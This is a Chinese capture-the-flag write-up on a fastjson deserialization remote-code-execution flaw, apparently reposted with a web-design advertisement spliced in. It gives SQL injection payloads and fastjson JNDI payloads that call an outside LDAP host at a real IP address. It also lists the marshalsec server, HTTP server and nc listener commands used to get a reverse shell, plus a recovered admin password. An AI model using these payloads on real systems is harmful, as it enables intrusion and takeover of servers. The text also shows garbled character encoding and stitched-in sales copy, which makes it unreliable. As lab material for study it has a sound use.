這期內容當中小編將會給大家?guī)碛嘘P如何進行fastjson反序列化漏洞的分析,文章內容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
10年積累的網(wǎng)站設計制作、網(wǎng)站設計經(jīng)驗,可以快速應對客戶對網(wǎng)站的新想法和需求。提供各種問題對應的解決方案。讓選擇我們的客戶得到更好、更有力的網(wǎng)絡服務。我雖然不認識你,你也不認識我。但先網(wǎng)站設計制作后付款的網(wǎng)站建設流程,更有嵊州免費網(wǎng)站建設讓你可以放心的選擇與我們合作。
拿到題目后,一開始通過審計代碼發(fā)現(xiàn)代碼
審計發(fā)現(xiàn)一個注入,dbname我們可控
嘗試注入
dbName=myapp#' and 1=2 union select name from myapp.user;# dbName=myapp#' and 1=2 union select pwd from myapp.user;#
注入處賬戶密碼留作備用(后面思路轉變?yōu)閑xp后發(fā)現(xiàn) 上面賬號密碼沒有用)
admin
admin@Rrrr_ctf_asde
然后經(jīng)過逆向注意到導入了
io.swagger.annotations.ApiOperation;
發(fā)現(xiàn)是個swagger
Swagger在平時日常工作中用過是個優(yōu)秀的文檔編輯器
那么直接訪問swagger-ui.html
這里想到swagger還有fastjson庫 可以將java對象轉換成json
19年爆出很多rce漏洞。嘗試進行查看
網(wǎng)上查詢fastjson得知存在rce漏洞
這個文章真的寫的非常詳細,可以說是手把手教學
https://github.com/CaijiOrz/fastjson-1.2.47-RCE
看到如下
這里很符合fastjson的反序列化漏洞的json格式
訪問得知如下
按著一步一步操作來,首先準備云服務器,并將倉庫文件上傳到云服務器中。
上傳成功以后進行如下操作
首先進行測試
云服務器監(jiān)聽7777端口
在靶場執(zhí)行
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://121.36.19.222:7777/Exploit","autoCommit":true}}}
發(fā)現(xiàn)有流量回顯
那就繼續(xù)按照文檔往下做。
Cd進去進行查看
修改exploit.java的ip為云服務器ip
Javac Exploit.java編譯執(zhí)行后得到Exploit.class
繼續(xù)進行按照如下步驟繼續(xù)執(zhí)行
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
http://121.36.19.222/#Exploit
執(zhí)行成功如下所示,進行監(jiān)聽本地端口1389
python -m SimpleHTTPServer 80
Nc 監(jiān)聽本地的8888端口
提交payload
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://121.36.19.222:1389/Exploit","autoCommit":true}}}
執(zhí)行后成功
成功彈到shell ,
執(zhí)行cat /flag可以得到如下flag
日常實戰(zhàn)中,喜歡burp帶上fastjson的檢測腳本,遇到可疑的就發(fā)包檢測一下。顯示有漏洞就嘗試payload打一下DNSlog試試回顯,再進一步進行深挖。
上述就是小編為大家分享的如何進行fastjson反序列化漏洞的分析了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注創(chuàng)新互聯(lián)行業(yè)資訊頻道。